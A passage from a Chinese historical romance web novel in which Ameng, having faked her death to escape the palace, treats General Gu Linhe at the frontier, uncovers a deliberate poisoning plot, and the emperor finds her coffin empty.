半夏点点头,目光依依不舍地看了阿孟一眼,这才退出房间。他的手始终没有离开过刀柄,眼神锐利地扫视四周。
云珠迅速上前,协助贺景行将阿孟安置在床榻上。她的手轻轻拂过阿孟的额头,眼中满是担忧:“小姐怎么还不醒?该不会是——”
“别担心,”贺景行安抚道,一边从怀中取出一个小巧的玉瓶,倒出一粒青色药丸,“这是解药,服下后不久就能苏醒。”
他小心地撬开阿孟的嘴唇,将药丸送入她口中,又倒了一点水帮助她咽下。随后,他取出一根银针,在阿孟的人中穴位上轻轻一按。
“唔……”阿孟的眉头微微皱起,发出一声低吟,缓缓睁开了眼睛。她的眼神还有些迷茫,像是刚从一场漫长的梦境中醒来。
“小姐!”云珠激动地握住阿孟的手,泪水又一次涌出眼眶,“你终于醒了!你不知道,我都吓**。
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”
阿孟微微一笑,轻轻拍了拍云珠的手:“傻丫头,你当师父的药是闹着玩的?”她的声音虽然还有些虚弱,却已恢复了往日的坚定。
贺景行松了一口气,眉宇间的紧张渐渐舒展开来。他取出一块干净的帕子,轻轻擦去阿孟额头的汗珠:“感觉如何?有没有不适?”
阿孟摇摇头,尝试着坐起身来:“只是有些头晕,应该很快就能好。”她环顾四周,视线落在窗外,眼中闪过一丝感慨:“终于……出来了。”
“是啊,小姐,我们终于出来了!”云珠激动地说,眼中满是欣喜。
半夏在门外忍不住探头进来,看到阿孟已经醒来,眼中瞬间闪过喜悦的光芒:“小姐,您醒了!”
阿孟看着半夏那张布满关切的脸,不禁莞尔一笑:“是啊!”
半夏脸上露出一抹憨厚的笑容,“小姐,我准备好了马匹和干粮,随时可以启程。”
“好,”阿孟点点头,眼神坚定,“我们稍作休整,便即刻启程前往边疆。”
贺景行从窗边探头看了看外面的天色,转身道:“我已经准备好了乔装用的衣物和身份文牒,我们扮作一家人前往边疆探亲,应该不会引起怀疑。”
阿孟轻轻颔首,“兄长和顾将军还在等着我们,沿路的将士也在渴望着能摆脱瘟疫的困扰。我们不能再耽搁了。”
云珠连忙拿来干净的衣物,帮助阿孟换上,又梳理好她的长发。阿孟披上一件浅褐色的斗篷,将那张美丽的脸庞掩藏在兜帽的阴影之中。
“小姐,这件衣裳虽然比不得宫中的绫罗绸缎,但胜在轻便利落,适合赶路。”
阿孟站起身来,柔声道:“这样很好,离开那座牢笼,我宁愿素衣简装。”
贺景行走进屋来,看到阿孟的装束,眼中闪过一丝赞许:“如此打扮,倒是与为师当年初见你的模样有几分相似。”
阿孟闻言,脑海中闪过一丝温暖的回忆。
第112章 边关救帅
一行四人已在黄沙中疾行了七日有余。天际线上,边关的城墙轮廓终于隐约可见,灰色的烟尘笼罩着整片军营。
“小姐,前面就是边关大营了。”半夏策马上前,手指远处。
阿孟勒住马缰,凝望着远处的军营。
“我们快些赶路吧。”她轻轻一抖缰绳,马儿便又疾驰起来。
贺景行打马紧随其后,眼中流露出几分担忧:“边关战事吃紧,瘟疫肆虐,你已七日未曾好好休息,到了军营后务必先歇息片刻。”
阿孟摇头,语气坚决:“兄长与顾将军伤势危急,容不得半分耽搁。”
边关大营入口处,几名士兵持刀而立,面色肃穆,眼中满是警惕。见有陌生人靠近,立即喝止道:“站住!何人擅闯军营?”
阿孟勒马停下,正欲开口,贺景行已然上前一步:“在下贺景行,奉皇命前来为顾将军医治伤势,这位是我的弟子,精通疫症治疗。”
守卫将军上前查验令牌,眉头紧锁:“可有军令?”
贺景行取出一块玉质令牌,守将接过仔细查验,顿时面色一变,连忙抱拳行礼:“原来是贺神医,末将有眼不识泰山,请恕罪!”
“无妨,带我们去见顾将军吧。”贺景行淡然道。
军医帐内,浓重的药草气息与血腥味交织在一起,令人窒息。一名年轻的副将正守在帐外,见有人来访,立刻警觉地拦住去路。
“大人,这是朝廷派来的神医,专为顾将军疗伤。”守卫解释道。
副将眼中闪过一丝希望,但很快又黯淡下来:“顾将军伤势过重,这几日已经陷入昏迷……”他声音哽咽,一时说不下去。
阿孟闻言心头一紧,不顾礼节,快步走进军医帐。
帐内灯火昏暗,数名伤兵躺在简陋的木床上,呻吟声此起彼伏。最里侧的床榻上,一名身形高大的将军静静躺着,面色苍白如纸,呼吸微弱得几乎不可察觉。
“顾将军……”阿孟轻声呼唤,眼中闪过一丝心痛。那个曾经意气风发的少年将军,如今竟是这般模样。
她立刻上前为顾凛鹤检查伤势,只见他腹部缠着厚厚的绷带,已被血水浸透,伤口处隐约泛着黑色。
“伤口已经感染化脓,再拖下去必然会危及性命。”阿孟迅速诊断,转身对半夏道,“取我的药箱来,还有热水,干净的布巾。”
贺景行也走到床前,为顾凛鹤把脉后,面色凝重:“不仅有外伤,还感染了瘟疫,体内寒毒已深,一般药物恐怕难以奏效。”
“药箱里有从玄机师父那里得来的灵丹,应该能暂时稳住他的病情。”阿孟说着,已经卷起了袖子,准备救治。
帐外传来一阵喧哗声,随后一名身着铠甲的年轻将领快步走入,见到床前的陌生人,立刻警惕地质问:“你们是什么人?为何擅自靠近我家主帅?”
“姓沈的,别咋咋呼呼的,这是朝廷派来的神医。”副将解释道,“贺神医可是皇上钦点的太医,专程来为顾将军疗伤的。”
那沈姓将领上下打量着阿孟和贺景行,眼中仍有怀疑:“就算是神医,也不能让一个女子靠近主帅的病榻,成何体统?”
半夏闻言,立刻护在阿孟身前,手已按在刀柄上:“我家小姐是神医弟子,医术精湛,谁敢阻拦?”
贺景行伸手示意半夏退下,淡淡道:“沈将军若是担忧,大可在旁看着。只是顾将军伤势危急,耽搁一刻,便多一分危险。”
沈将领犹豫片刻,终于让开了道路:“那好,我在此守着,若有半点不妥,休怪我手下无情!”
阿孟对这些争执充耳不闻,已全神贯注地投入救治中。她迅速剪开顾凛鹤的绷带,露出那狰狞的刀伤,伤口已经化脓发黑,散发着恶臭。
“云珠,取我药箱中的翠蓝色药瓶,那是清热解毒的灵药。半夏,煮一锅热水,越热越好。”阿孟发号施令,声音不大却格外坚定。
她动作轻柔地清洗伤口,每一次擦拭都小心翼翼,生怕给顾凛鹤带来
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更多痛苦。尽管如此,顾凛鹤还是在昏迷中发出了痛苦的呻吟,额头上渗出豆大的汗珠。
“忍一忍,很快就好了。”阿孟轻声安慰,眼中满是心疼。
待伤口清理干净,她从药箱中取出一个小巧的玉瓶,倒出几滴金黄色的液体,小心涂抹在伤口周围。
“这是什么?”沈将领忍不住问道,语气中已没了先前的敌意。
“七星续命膏,是我师父的珍藏。”阿孟头也不抬,专注于手中的工作,“能消炎止痛,促进伤口愈合。”
贺景行从袖中取出一个紫色小瓷瓶,倒出一粒黑色药丸:“这是玄机师父留下的最后一枚归元丹,能调和五脏六腑,驱散瘟疫毒素。”他将药丸研碎,兑入温水中,亲自喂入顾凛鹤口中。
接下来的时间里,阿孟和贺景行轮流为顾凛鹤施针、换药、灌药。阿孟的手指因长时间施针已经僵硬发麻,额头上的汗水浸湿了鬓角,脸上写满了疲惫,却仍不肯停下。
“你该休息了。”贺景行心疼地看着她苍白的面色,轻声劝道,“你已经连续忙碌六个时辰了。”
阿孟摇摇头,声音虽轻却坚定:“顾将军为国征战,负伤至此,我区区劳累算得了什么?”
夜深了,军医帐内只剩下阿孟一人守在顾凛鹤身边。她轻轻为他擦去额头的汗水,替他掖好被角,动作轻柔得仿佛怕惊醒一只熟睡的蝴蝶。
借着微弱的烛光,她细细端详着顾凛鹤的面容。昔日意气风发的少年将军眉宇间多了几分沧桑,嘴角的弧度也不再如从前那般轻快。她的指尖轻轻拂过他紧锁的眉头,心中涌起一阵酸楚。
“顾将军,你一定要挺过来。”她轻声说道,声音几不可闻,“边关将士需要你,我……”后面的话她没有说完,只是轻轻叹了一口气。
连续三日,阿孟几乎未曾合眼,守在顾凛鹤身边,时刻关注着他的变化。终于,在第四日清晨,顾凛鹤的高热渐渐退去,脸色也有了些许血色。
第113章 边关风云
“小姐,您真的该休息了。”云珠心疼地看着阿孟苍白的面容,小心翼翼地劝道,“您都瘦了一圈了。”
阿孟微微一笑,眼中虽有疲惫,却满是欣慰:“无妨,顾将军的情况已经稳定下来,我再替他换一次药,就去休息。”
她正准备为顾凛鹤更换药物,床上的将军却突然睁开了眼睛。那双清亮如水的眸子先是茫然地环顾四周,最终定格在阿孟脸上。
“是你……”他的声音嘶哑得几乎听不清,却带着难以掩饰的惊喜,“阿孟,真的是你吗?”
阿孟一怔,随即展颜一笑,眼中涌出一丝泪光:“是我,顾将军。”
顾凛鹤想要坐起来,却被阿孟轻轻按住:“将军伤势未愈,不可轻举妄动。”
“你怎么会在这里?”顾凛鹤眼中满是难以置信,“你不是在皇宫中……”
阿孟轻轻摇头,打断了他的话:“等将军伤势好些,我再慢慢告诉你。现在,你需要好好休息。”
顾凛鹤紧紧握住她的手,生怕她会突然消失:“你不会再离开了,对吗?”
阿孟一时间竟不知该如何回答。她只是轻轻回握住他的手,柔声道:“将军安心养伤,我还要去救治其他感染瘟疫的将士。”
“阿孟!”他微微挣扎着要起身,牵动了腰腹的伤口,不由得闷哼一声。
阿孟见状连忙上前几步,将他的手轻轻放回被褥之上:“将军别动,当心伤口裂开。”她正欲起身,袖口却再次被顾凛鹤拽住。
“阿孟,”他声音虽虚弱,目光却坚定如昔,“自我醒来,见到你的那一刻起,我便觉得浑身有了力气,连痛楚都轻了几分。”他艰难地坐起,不顾阿孟的阻拦,执意道:“你在我身边,便是最好的药引。”
这一刻,阿孟竟不知该如何回应。
正在这时,营帐外传来急促的脚步声,士兵掀开帘子,神色凝重:“将军,不好了!南楚军队又来犯了,这次来势汹汹,似是要断我军退路!”
顾凛鹤闻言,面色骤变,挣扎着就要下榻:“备马,我要上前线!”
“将军!”阿孟一惊,连忙按住他的肩膀,不容拒绝道:“你若此时勉强出阵,只怕连马都骑不稳,如何统领三军?”她转向士兵,声音沉稳:“传令下去,让所有能战之士做好准备,伤重者撤至后方,轻伤者若愿意,可持弓箭远射支援。”
士兵领命而去,顾凛鹤望着阿孟那张沉静而坚定的脸庞,眼中闪过一丝诧异与赞叹。在他的记忆中,阿孟虽医术高超,却从未展露出如此决断的一面。
营帐外,战鼓声已然雷动,震得地面都在微微颤抖。阿孟快速整理好药箱,对顾凛鹤道:“我去救治伤员,你务必卧榻休息。”
顾凛鹤握住她的手腕,眼中满是担忧:“南楚军队凶残,前线危险,你……”
“我自有分寸。”阿孟淡淡一笑,却透着不容拒绝的坚决。她轻轻抽出手,背上药箱便往外走。在掀开帘子的刹那,她回头看了一眼榻上的顾凛鹤,嗓音柔和了几分:“将军,我答应过你,我不会再离开了。至少,在边关战事平息前,我哪里也不会去。”
顾凛鹤闻言,眼中瞬间亮起希望的光芒,他深深望着她离去的背影,喃喃道:“若能日日见你,便是这伤口再痛千倍,我也愿意。”
-
战场上喊杀声震天,阿孟背着药箱跟随着军营中的护卫,迅速赶往前线。她没有丝毫犹豫,穿梭在伤兵与尸体之间。
“这里!这位大夫,救救我兄弟!”一名士兵跌跌撞撞地奔来,怀中抱着一个满身是血的年轻兵卒。
阿孟飞速上前,手指轻轻搭上那士兵的颈侧,只觉脉象微弱且紊乱。她迅速从药箱中取出银针,刺入数处穴位,又取出一粒丹药塞入士兵口中。
“将他轻轻放下,快去救其他人。”阿孟吩咐道。
不远处,贺景行也在忙碌着救治
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士兵。他手法娴熟,时而抚脉时而针灸,时而配药时而包扎,一刻也不曾停歇。当他与阿孟的目光相遇时,两人默契地点了点头,无需言语便明白对方心意。
日渐西沉,阿孟已经救治了多名士兵,她擦了擦额头的汗水,忽然注意到一名伤兵身上的症状有些特异——伤口周围并非寻常的红肿,而是呈现出一种诡异的青紫色。她蹙眉仔细观察,发现伤口边缘有细密的黑色血点,与她之前所见的瘟疫症状略有不同。
“师父,”阿孟压低声音,唤来不远处的贺景行,“你看这伤口。”
贺景行神色凝重地检查着伤口,片刻后,眸光一闪:“这不是寻常战伤感染,也不似自然瘟疫所致。这些黑点……”他用指尖轻轻刮取了一些黑色物质,放在鼻端嗅了嗅,眉头骤然紧锁:“有毒。”
阿孟心头一震:“可是南楚军中何来如此奇毒?边关战事已久,为何偏偏近日才出现这种症状?”
贺景行环顾四周,确保无人靠近,这才低声道:“恐怕事情没那么简单。这毒素配方极为巧妙,需要精通医术者才能炮制。且看这扩散速度和感染方式,绝非一般**。”
阿孟意识到事态严重性,立刻取出几枚瓷瓶,开始配置解**剂。她一边处理伤患,一边与贺景行悄声商议:“师父,我怀疑这瘟疫非是天灾,而是人为。”
“不错,而且——”贺景行目光如炬,声音低沉,“这**配方与墨家密函中记载的青冥散颇为相似。”
阿孟心头一凛:“青冥散?那不是皇家密藏中的禁药吗?据传只有皇族嫡系才知晓配方。”
贺景行轻轻颔首:“是的。”
“此事必须查个水落石出。”阿孟放下手中的药碗,“我要亲自取样调查,这背后若真有阴谋,定不能让那些将士白白牺牲。”
夜晚,阿孟带着收集的样本回到军医帐,整整一夜不曾合眼,反复检验分析。
第114章 真相初露
次日清晨。
“师父,”阿孟神色凝重,将一份检验结果递给贺景行,“这毒确实是青冥散的变种,但有一味药材极为罕见,南楚境内并不生长,唯有大景皇家园林中才有栽培。”
贺景行看后眸光一沉:“那岂不是墨司理的地方?他与南楚勾结,意欲何为?”
“很简单,”阿孟冷声道,“他需要一个混乱的局面。边疆若失,朝中必定震动。墨司理作为皇族中最有威望的亲王,若能在危急之时挺身而出,平定边患,自然能博得朝野拥戴。届时,篡位**不过是顺水推舟之事。”
贺景行点了点头,苦笑一声:“原来如此。怪不得边关大军明明实力强悍,却总是陷入苦战,原来竟是这般内忧外患。”
阿孟眼中闪过一丝坚决:“师父,我们必须找到证据,揭露这个阴谋。”
“确实如此,但此事凶险,你我需步步为营。”贺景行沉吟片刻,忽然问道,“顾将军那边,你打算如何?”
阿孟握紧了拳头,神色复杂:“当然是告诉他啊,顾将军作为边关支柱,若他知晓这一切,也好提前为士兵做打算。”
贺景行深深看了她一眼,眼中闪过一丝苦涩与了然。片刻后,他轻声道:“我去打探南楚使者的动向,你继续监测军中瘟疫情况。”
阿孟点头应允,她回到军医帐,恰逢顾凛鹤已经勉强能够坐起。见她进来,顾凛鹤眼中立刻绽放出光彩:“阿孟,你回来了。”
“将军怎么坐起来了?伤口不痛吗?”阿孟连忙上前,柔声责备道。
顾凛鹤握住她的手,眼中满是坚定:“比起伤痛,我更担心你。前线凶险,听说你一夜未归,我心急如焚。”
阿孟听闻此言,心中既感动又复杂。她轻轻叹了口气,从药箱中取出新的药膏:“将军言重了,我不过是在军中救治伤员,有诸多士兵护卫,并无危险。你还是先顾好自己的身子吧。来,我帮你换药。”
顾凛鹤顺从地露出伤口,任她处理。阿孟解开纱布,那狰狞的刀伤虽已不再流脓,却依旧触目惊心。她的指尖轻轻触碰伤口边缘,确认恢复状况。
“阿孟,”顾凛鹤突然开口,声音低沉而认真,“你还没告诉我,你是怎么从皇宫出来的?”
阿孟手中动作一顿,随即继续小心翼翼地为他涂抹药膏。片刻沉默后,她抬起头,眼中闪过一丝决然:“我假死出宫的。”
“假死?”顾凛鹤不由挺直了身子,牵动了伤口,不觉倒吸一口冷气。
阿孟连忙按住他的肩膀:“别乱动!”她叹息一声,这才娓娓道来,“我与贺师父策划,服下特制的药丸,陷入假死状态,以此骗过墨司渊的眼睛。所幸计划顺利,我被出殡,送出了皇宫。”
“如此说来,皇宫里的人都以为你**?”顾凛鹤眼中闪烁着无法掩饰的喜悦与担忧交织的光芒。
阿孟轻轻点头:“是的。至少目前来看,谁也不会想到我会出现在边关。”她将纱布重新裹好,动作麻利而熟练,“现在我一时半会是不能回皇宫了。”
“那很好。”顾凛鹤脱口而出,随即意识到自己的失态,略显尴尬地轻咳了一声,解释道:“我是说,你不必再受宫中那些约束与折磨了。”
阿孟却捕捉到了他言下之意,不由得嘴角微扬:“将军似乎很高兴?”
顾凛鹤不再掩饰,眼中闪烁着热烈的希冀:“阿孟,既然你已脱离皇宫束缚,那么日后便可以另择一种身份生活。我军中尚有几处宅院,环境幽静,你若不嫌弃,可暂居于此。待战事平息,我们便……”
“顾将军,其实我有一事相告。”阿孟轻轻打断了他的话,“昨日我与师父发现,军中瘟疫恐怕并非天灾,而是人为。”
顾凛鹤眉头紧锁,瞬间从温情脉脉的少年郎变成了肩负重任的将军:“此话当真?”
阿孟将自己和贺景行的发现一一道来,包括**配方与皇家密藏的青冥散相似,以及只有皇家园林才有的罕见药材。说到最后,她声音低沉:“背后主谋很可能是墨司
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理亲王,他与南楚暗通款曲,意欲混淆朝堂,坐收渔利。”
顾凛鹤听完,眼中的温柔早已消失殆尽,他愤怒道:“我就说这场边关之战处处蹊跷,原来竟是朝堂之内有人作祟!”他猛地一拳砸在床榻上,牵动了伤口,不由得闷哼一声。
“将军小心!”阿孟连忙按住他的肩膀,“此事事关重大,我们必须冷静处理。现在证据尚不充分,若贸然声张,只怕会打草惊蛇。”
顾凛鹤努力平复情绪:“你说得对。你负责继续调查**来源,我会暗中派人监视南楚使者的动向,务必抓到确凿证据。”
阿孟点点头,“只要我们联手,定能查个水落石出。”她正欲起身,手腕却再次被顾凛鹤握住。
“阿孟,”顾凛鹤声音低沉,眼中却满是温柔,“世间险恶,你我皆知。但请记住,无论遇到什么困难,我都会在你身后。”
她轻轻点头,终是没有抽开手:“我知道了,将军好生休息,我去前线看看。”
说罢,她起身离去,脚步声在军帐内渐行渐远。
-
御书房内,墨司渊站在窗前,手中拿着一份密报,眉头紧锁。
自阿孟死后,他心中总是萦绕着一丝挥之不去的疑虑,越是细思,越觉荒谬。
“陛下,夜深了,该歇息了。”周海端着参茶轻声提醒道,见皇上没有回应,他将茶盏放在桌上,轻轻退后两步,低头等候。
“周海,”墨司渊突然转身,目光如刀,直刺向他,“你可觉得孟贵妃之死有何蹊跷之处?”
周海心头一震,眼中闪过一丝惊讶,但很快又恢复了往日平静。作为多年的心腹,他深知皇帝此问必有深意。他微微低头,思忖片刻后道:“回陛下,老奴确实觉得有些反常。”
“说说看。”墨司渊走到案前,缓缓坐下,示意周海继续。
“以老奴观察,贵妃临死前,似乎早有准备,身边那丫头云珠一直催着快速下葬。”周海说到这里,顿了顿,抬眼观察墨司渊的反应。
第115章 开棺不见人
“去,把苔蘅殿伺候过孟贵妃的人,都给朕带过来,朕要亲自审问!”墨司渊猛地一拍桌案,眼中杀机毕现。
“奴才遵旨。”周海领命而去,心中却暗自为那些宫人捏了一把汗。
不多时,苔蘅殿的宫人们便被带到了御书房。他们战战兢兢地跪在地上,一个个吓得面无人色。
“说!孟贵妃死前,都做了些什么?但凡有一丝隐瞒,朕要你们的脑袋!”墨司渊的声音冰冷如刀,在空旷的御书房中回荡。
宫人们吓得瑟瑟发抖,争先恐后地开始回忆。
而他们七嘴八舌地说着,却始终没有说出什么有价值的线索。
墨司渊越听越烦躁,他猛地一挥手,打断了众人的话:“够了!朕要听的不是这些!朕问你们,她有没有提到过什么人?或者什么地方?”
宫人们面面相觑,皆是摇头。
“皇上,奴婢想起来了!”一个怯生生的声音突然响起,是苔蘅殿的一个小宫女,“娘娘那几日,时常念叨着一个名字。”
“什么名字?”墨司渊立刻追问。
“好像是贺神医……”小宫女的声音越来越低,几乎微不可闻。
墨司渊眼中精光一闪:“贺景行?他不是已经离开京城了吗?”
“奴婢不知,”小宫女吓得连连叩头,“奴婢只是听娘娘念叨过几次,其他的什么也不知道啊!”
墨司渊没有再理会她,而是转头看向周海:“把这些人全部带去查!给朕查清楚贺景行的下落!还有,孟贵妃的尸体,给朕开棺验尸!”
“皇上,这……”周海大惊失色,“这万万不可啊!贵妃娘娘已经入土为安,岂能再惊扰她的亡灵?”
“大胆!”墨司渊冷冷地打断他,“朕倒要看看,这棺材里躺着的,究竟是不是孟贵妃!”
“其余人等,押入慎刑司!”
周海只得领命而去。
朝露宫中,谢妤正悠闲地品着茶。
“娘娘,皇上已经下旨,要开棺验尸了。”红豆匆匆走进来,低声禀报道。
谢妤闻言,手中的茶盏微微一颤,险些洒了出来。
“什么?”她猛地抬起头,眼中闪过一丝慌乱,“皇上怎么会突然想起要开棺验尸?”
“奴婢也不清楚。”红豆摇了摇头,“不过,奴婢听说,皇上最近一直在怀疑孟贵妃的死因,还审问了苔蘅殿的宫人。”
谢妤的脸色瞬间变得苍白。她知道,墨司渊一旦起了疑心,就绝不会轻易罢休。
“不行,不能让他开棺!”谢妤猛地站起身,在殿内来回踱步。
“娘娘,您别着急。”红豆连忙上前扶住她,“奴婢已经派人去盯着了,一有消息会立刻禀报。”
御书房内,墨司渊正焦躁地等待着消息。
“皇上,谢贵妃求见。”周海走进来禀报道。
“让她进来。”墨司渊淡淡地说了一句。
谢妤走进御书房,盈盈下拜:“臣妾参见皇上。”
“起来吧。”墨司渊看了她一眼,“妤儿,你怎么来了?”
谢妤抬起头,撒娇道:“臣妾听说,皇上要开棺验尸,心中实在不安,所以想来问问,究竟发生了什么事?”
墨司渊没有回答,只是静静地看着她。
谢妤被他看得心里发毛,她强忍着心中的恐惧,继续说道:“皇上,孟贵妃已经入土为安,您这样做,是怀疑她吗?”
谢妤还想再说些什么,却被墨司渊一个凌厉的眼神给吓了回去。
“臣妾告退。”她只得低头退了出去。
出了御书房,谢妤的脸色瞬间变得阴沉。
谢妤刚走,周海就从外面走了进来。
“启禀皇上,苔蘅殿众人皆已经严刑拷打,可还是一无所获。”
墨司渊冷哼:“还真是忠心护主,我不信他们能什么都不知道!”
没等墨司渊下下一道命令,周海躬身上前,在他耳边耳语了几句。
墨司渊的脸色瞬间变得铁青,他豁然起身,大步向外走去。
“备马!朕要亲自去看看!”
城郊的林子上,一口薄棺被重新挖了出来。
墨司渊站在棺木前,面色阴沉,紧紧盯着那口棺
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材。
“开棺!”他冷冷地吐出两个字。
随着一声沉闷的声响,棺盖被缓缓打开。
然而,棺材里空空如也,哪里还有什么尸体!
墨司渊的瞳孔骤然收缩,他死死盯着那空荡荡的棺材,眼中满是震惊与愤怒。
“人呢?”他怒吼一声,声音震得周围的树叶都簌簌落下。
周围的侍卫和太监们吓得跪倒在地,瑟瑟发抖。
“皇上息怒!奴才们也不知道啊!”
“贵妃娘娘明明已经入殓了,怎么会……”
墨司渊一脚踹翻了身边的太监,怒不可遏:“一群废物!掘地三尺也要把人给朕找出来!”
消息传回宫中,整个后宫都炸开了锅。
朝露宫内,顾奚慈听闻此事,吓得脸色惨白。
“娘娘,这……这怎么可能?”她声音颤抖,几乎站立不稳,“阿孟她不是已经**吗?”
谢妤的脸色也好不到哪里去,她紧紧攥着手中的茶盏,指节泛白。
“我就知道,那个**没那么容易死!”她咬牙切齿,眼中满是怨毒,“她竟然敢诈死!真是胆大包天!”
“娘娘息怒,您可千万保重身子啊!”红豆连忙上前,轻抚着谢妤的后背,柔声劝慰。
“保重?你让我怎么保重?!”谢妤一把推开红豆,声嘶力竭。
顾奚慈也匆匆赶来,焦躁万分:“娘娘,这可如何是好?阿孟诈死,那我的事岂不是全泡汤了?”
她原以为阿孟一死,顾凛鹤便会回心转意,谁知竟是空欢喜一场。
谢妤本就心烦意乱,见顾奚慈这般沉不住气,更是厌烦。
“慌什么?”谢妤冷冷地瞥了她一眼,挥了挥手。
“可是……”顾奚慈还想再说些什么,却被谢妤不耐烦地打断。
“行了,你先回去吧,别在这里碍眼。”谢妤揉了揉眉心,语气中带着明显的逐客之意,“记住,此事万万不可声张,更不能让旁人看出什么端倪,否则,你我都要吃不了兜着走!”
顾奚慈咬了咬唇,只得不甘心地退下。
第116章 直击南楚军营机密
谢妤坐在铜镜前,任由红豆替她梳着头发,眼神却冷得像冰。“娘娘,顾家小姐走了。接下来如何是好啊?”
“哼,没用的东西。”谢妤冷哼一声,对顾奚慈万般不屑,“成事不足败事有余。”
红豆小心翼翼地观察着谢妤的神色,试探着问道:“娘娘,您说,皇上真的会把孟贵妃从外面找回来吗?”
“皇上是天子,你我岂敢窥探天子心意?”谢妤的声音里透着一股狠厉,“重要的是,那个**不能活着回来!”
说罢,谢妤猛地扔下一根朱钗,玉石四溅。
边关的风,带着沙砾的粗粝,吹得人心头焦躁。
阿孟与顾凛鹤并肩站在营帐前,望着远处连绵的军营。
“凛鹤,我总觉得这毒来得蹊跷,南楚人向来只擅长用些寻常**,这青冥散的变种,绝非他们能轻易制出。”阿孟眉心紧蹙,声音中带着几分凝重。
“除了墨司理提供的毒草,想必还有高人指点,甚至咱们军中还有可能有他们的内应!”
顾凛鹤点头,他已经换上一身轻便的常服,腹部的伤口隐隐作痛,却远不及心中的忧虑:“我已加派人手,严密监视南楚使者的动向。只是……”
他顿了顿,看向阿孟,眼中闪过一丝担忧:“只是这些探子回报,南楚使者并无异常,每日除了吃喝,便是与我军中一些将领应酬,并无特别之处。”
阿孟沉吟片刻,道:“越是寻常,越是不寻常。南楚人狡猾,定是做了万全准备。顾将军,你伤势未愈,这些事交给我去办,你安心养伤。”
“不行!”顾凛鹤想也没想便拒绝,“你一个女子,怎能涉险?此事我自有安排。”
阿孟无奈地看着他:“顾将军,我并非手无缚鸡之力的弱女子,你忘了我的医术了吗?况且,还有师父在,你大可放心。”
顾凛鹤依旧不放心,他知道阿孟的本事,但战场之上,刀剑无眼,他怎能让她以身犯险?
“阿孟,我知道你医术高超,也相信贺神医的本事。但战场不比其他,稍有不慎便会……”顾凛鹤的声音低沉下去,带着几分难以言喻的担忧,“我不能让你冒险。”
阿孟看着他,心中涌起一股暖流。
她知道顾凛鹤是真心为她好,但她也有自己的坚持。
“凛鹤,你放心,我不会拿自己的性命开玩笑。我会小心的,而且……”阿孟顿了顿,眼神变得坚定,“而且,这不仅仅是为了我自己,也是为了边关的将士们。若不能查明真相,不知还有多少人会因此丧命。”
“此事再议。”闻言,顾凛鹤还是没能马上同意。
阿孟也没有强求,这边关将士身陷险峻的不在少数,他心中忧虑也是应该。
军中瘟疫在阿孟的努力下,虽已得到控制,但每日仍有新增的病例。
“顾将军,这几日虽有缓解,但解毒之法仍无进展,长此以往,军中士气难免受挫。”阿孟看着手中的药方,眉头紧锁。
顾凛鹤安慰道:“你已经尽力了,不必太过自责。这瘟疫来得诡异,能控制住已是不易。”
“可我总觉得,这背后操纵之人手段了得,若只有墨司理一人还好,可若还牵扯了其他大臣……”阿孟的声音低沉,带着几分不安。
顾凛鹤看着她,眼中满是心疼:“别担心,一切有我。”
贺景行潜伏在南楚军营附近已有数日,他乔装成一名普通的商贩,暗中观察着南楚军营的动静。
这日,他发现南楚军营中有一处地方守卫格外森严,似乎藏着什么秘密。
他心中一动,决定冒险探查一番。
入夜,贺景行避开巡逻的士兵,悄悄潜入南楚军营。
他小心翼翼地靠近那处守卫森严的地方,只见几名士兵正抬着几个大箱子往里走。
贺景行心中一凛,他隐约觉得,这些箱子里装的,很可能就是与**有关的东西。
他不敢贸然行动,只能先退回军医大营,将此事告知阿孟。<
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br>“师父,你说南楚军营中有一处地方守卫森严,很可能藏着与**有关的东西?”阿孟听完贺景行的叙述,立刻意识到事态的严重性。
贺景行点头:“我亲眼所见,那些箱子上都贴着特殊的封条,绝非寻常之物。”
“看来,我们需要亲自去一趟南楚军营了。”阿孟沉声道,“只有拿到确凿的证据,才能揭露墨司理的阴谋。”
“不可!”顾凛鹤闻言,立刻出声阻止,“南楚军营戒备森严,你们二人前去太过危险。”
阿孟看向他,语气坚定:“顾将军,我知道你担心我,但此事刻不容缓。可我一人的性命,哪里比得过关千千万将士们的性命呢?”
“可是……”顾凛鹤还想说什么,却被阿孟打断。
“顾将军,你放心,我与师父都有自保的能力,不会有事的。”阿孟看着他,眼中满是信任,“你只需在此等候我们的好消息。”
顾凛鹤知道自己无法说服阿孟,他深深地看了她一眼,最终还是妥协了:“好,我答应你们。但你们必须答应我,一旦有危险,立刻撤退,不可恋战,而且我要与你们同去!”
阿孟心惊,连忙阻拦:“万万不可,你伤势未愈,怎么能跟我们一起去冒险?”
顾凛鹤也是耍起了性子,严肃道:“纵然将士们的性命重要,可你的性命亦然!”
“若是你不同意,我断然不会让你一个人去的。”
他这般坚持,阿孟和贺景行对视一眼,只能同时点头:“我们答应你。”
夜幕降临,阿孟、贺景行和顾凛鹤三人换上夜行衣,悄然离开了军医大营。
他们避开巡逻的士兵,一路向南楚军营潜去。
夜色如墨,边关的风带着几分寒意,吹得人心头紧绷。
三人来到南楚军营外,顾凛鹤停下脚步,对阿孟和贺景行道:“你们二人进去,我在此接应。记住,一切小心。”
阿孟和贺景行点了点头,身影消失在夜色中。
第117章 脱险
避开巡逻的士兵,他们一路向南楚军营潜去。
边关的夜风格外冷冽,夹杂着沙砾,吹得人脸颊生疼。
阿孟紧了紧身上的斗篷,心中却是一片火热。
她知道此行危险重重,但为了边关将士,为了查明真相,她义无反顾。
南楚军营内,巡逻的士兵来回走动,火把的光亮在夜色中摇曳。
阿孟和贺景行凭借着敏捷的身手,巧妙地避开巡逻队,向着贺景行之前探查到的可疑之处潜去。
“师父,您确定是这里吗?”阿孟压低声音问道。
贺景行微微颔首:“错不了。白日里我曾见几名士兵抬着几个大箱子进了这间营帐,守卫格外森严。”
两人对视一眼,悄无声息地靠近营帐。
就在这时,一队巡逻士兵突然朝这边走来。
“不好,快躲起来!”贺景行低呼一声。
阿孟反应极快,拉着贺景行躲到一堆杂物后面。
眼看着巡逻士兵越来越近,阿孟的心提到了嗓子眼。
千钧一发之际,顾凛鹤突然从暗处冲出,一剑刺向领头的士兵。
“有刺客!”士兵们惊呼一声,立刻围了上来。
顾凛鹤以一敌众,剑法凌厉,却也渐渐落入下风。
阿孟见状,心中焦急万分。
她知道顾凛鹤是为了引开士兵,给她和贺景行争取时间,可是,他的伤势未愈,如何能与这么多敌军抗衡?
“师父,我们必须速战速决!”阿孟咬了咬牙,从怀中掏出一个小瓷瓶。
这是她特制的**,无色无味,能在短时间内使人昏迷。
贺景行会意,从袖中取出几枚银针。
两人配合默契,一人施针,一人撒药,很快便将**顾凛鹤的士兵放倒。
